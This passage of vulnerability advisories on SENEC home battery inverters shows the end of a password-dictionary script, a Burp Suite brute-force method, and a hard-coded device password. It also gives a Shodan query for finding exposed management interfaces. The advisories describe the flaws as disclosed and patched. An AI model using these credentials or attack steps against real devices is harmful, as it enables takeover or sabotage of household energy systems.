fd.write('\n'.join(senec_password))<br /><br /><br />if __name__ == '__main__':<br /> parser = argparse.ArgumentParser(description="Generate SENEC.Inverter password dictionary")<br /> parser.add_argument("-d", "--pdf-directory", type=str, action="store", default="pdf", required=False,<br /> help="pdf storage location")<br /> parser.add_argument("-p", "--pwd-prefix", type=str, action="store", default="Senec", required=False,<br /> help="password prefix")<br /> parser.add_argument("-s", "--pwd-suffix", type=str, action="store", default="", required=False,<br /> help="password suffix")<br /> args = parser.parse_args()<br /> get_senec_password(args.pdf_directory, args.pwd_prefix, args.pwd_suffix)<br /><br /><br />2. work with the output:<br />The Python script extracts all words from all PDF documents and allows to add a prefix<br />and/or suffix to generate passwords according to the pattern {prefix}{word}{suffix} ,<br />such as the following:<br />***** cut *******<br />Senecmoribundity<br />SenecCleaning<br />Senecdusts<br />Senecclinical<br />Senecaggregation<br />Senecstubborn<br />Senecstorages<br />SenecDecommissioning<br />SenecInstall<br />Senecmany<br />***** cut ********<br /><br />3) use the list within burpsuite<br />The password lists were then used in Burp Suite Professional, a tool <br /><br />specifically designed for web application security testing, to perform an <br /><br />automated brute force attack.<br />The list shown above as an excerpt with the prefix Senec and no suffix was <br /><br />finally successful in executing the attack.<br />It could be determined that the password "SenecInstall" is valid for all<br />SENEC.Inverter devices.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Solution:<br />Patched by Manufacturer<br />(Rolled out until September 11, 2023)<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Disclosure Timeline:<br /><br />2022-06-01: Vulnerability discovered<br />2023-06-05: Vulnerability reported to manufacturer<br />2023-09-11: Patch rollout by manufacturer to affected devices<br />2023-11-01: Public disclosure of vulnerability<br /><br /><br />************************************************************************<br /><br />Researcher:<br />Ph0s[4], R0ckE7<br /><br />************************************************************************<br /><br />Disclaimer:<br /><br />The information provided in this security advisory is provided "as is"<br />and without warranty of any kind. Details of this security advisory may<br />be updated in order to provide as accurate information as possible. <br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Copyright:<br /><br />Creative Commons - Attribution (by) - Version 4.0<br />URL: https://creativecommons.org/licenses/by/4.0/deed.en<br /><br /></code></pre>
<pre><code>Advisory ID: Ph0s-2023-005<br />Product: EnBw - SENEC legacy storage box: V1-V3<br />Manufacturer: SENEC - a part of EnBw<br />Affected Version(s): Firmware: all (as of 2023-06-19)<br />Tested Version(s): current<br />Vulnerability Type: CWE-923: Improper Restriction of Communication <br /><br /> Channel to Intended Endpoints<br /><br /><br />Risk Level: <br /><br />CVSS v3.1 Vector:<br />AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L (7.4 High)<br /><br />Manufacturer Risk Level Rating:<br />AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L/E:H/RL:T/RC:C<br />Overall CVSS Score: 7.2<br /><br />Solution Status: Fixed<br />Manufacturer Notification: 2023-06-05<br />Public Disclosure: 2023-11-01<br />CVE Reference: CCVE-2023-39171<br />Author of Advisory: Ph0s[4], R0ckE7<br /><br />********************************************************************************<br /><br />Overview:<br />Foreword: <br /><br />This vulnerability was reported to the enbw-cert. we would like to<br />thank enbw-cert for taking care of the vulns and patch the systems.<br />we decided to publish when most of the reported vulns are patched<br />to make sure nobody is harmed when 3rdparys exploit the mentioned vulns. <br /><br /><br /><br />About Senec:<br />We are SENEC<br /><br />We have been the EnBW energy independence experts since 2018 – but we have<br />put our heart and soul into guiding customers on the route to independence<br />since SENEC was founded in 2009. Our passion lies in actively promoting the<br />energy transition with innovative ideas and pioneering products. And, <br /><br />because we don’t do things by halves, our unwavering ambition is to create<br />integrated solutions that enable you to enjoy the highest possible degree<br />of independence and sustainability through self-generation of solar <br /><br />electricity.<br /><br />About SENEC Home:<br /><br />SENEC.Home: The smart electricity storage device for your home<br /><br />SENEC.Home is the heart of the your sustainable, affordable supply of solar<br />electricity. The smart battery storage device stores excess electricity <br /><br />generated by your PV system so that you can use it when you need it – such as<br />when your household’s energy consumption rises in the evening, or on rainy days<br />when your PV system generates less power.<br /><br />********************************************************************************<br /><br /><br />Vulnerability Details:<br /><br />The management interface of the SENEC.Inverter is publicly accessible via the<br />Internet. This circumstance is recommended by the manufacturer and customers are<br />advised to open the necessary ports to enable remote maintenance.<br />As a result, anyone who manages to detect and successfully exploit security<br />vulnerabilities in SENEC.Inverter, for instance the authors of this report, can<br />access and compromise all devices available on the internet without <br /><br />restrictions. To achieve this,it is possible to use an IoT search engine such as<br />Shodan to automatically obtain an up-to-date list of IP addresses of all devices<br />in just a few seconds.<br /><br />Besides Shodan, there are other IoT search engines such as Censys or ZoomEye to<br />complement the list even further.<br />Consequently, it is very easy for an attacker to develop an exploit script for<br />the automated compromise of all SENEC.Inverter devices, e.g. to simul-<br />taneously shut down all appliances or to damage them through a targeted<br />overload. For this purpose, only the hard-coded credentials previously <br /><br />identified in findings CVE-2023-39168 and CVE-2023-39169 need to be used in<br />conjunction with SENEC.Inverter’s built-in API.<br /><br />********************************************************************************<br /><br />Proof of Concept (PoC):<br /><br />The attack consists of the following steps:<br /><br />1. use the shodan dork to obtain management-interfaces.<br />(no longer valid, patched by manufacturer)<br /><br /><br />https://www.shodan.io/search?query=http.html%3A%3Ctitle%3ESENEC%3C%2Ftitle%<br />3E<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Solution:<br />Patched by Manufacturer<br />(Rolled out until September 11, 2023)<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Disclosure Timeline:<br /><br />2022-06-01: Vulnerability discovered<br />2023-06-05: Vulnerability reported to manufacturer<br />2023-09-11: Patch rollout by manufacturer to affected devices<br />2023-11-01: Public disclosure of vulnerability<br /><br /><br />************************************************************************<br /><br />Researcher:<br />Ph0s[4], R0ckE7<br /><br />************************************************************************<br /><br />Disclaimer:<br /><br />The information provided in this security advisory is provided "as is"<br />and without warranty of any kind. Details of this security advisory may<br />be updated in order to provide as accurate information as possible. <br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Copyright:<br /><br />Creative Commons - Attribution (by) - Version 4.0<br />URL: https://creativecommons.org/licenses/by/4.0/deed.en<br /></code></pre>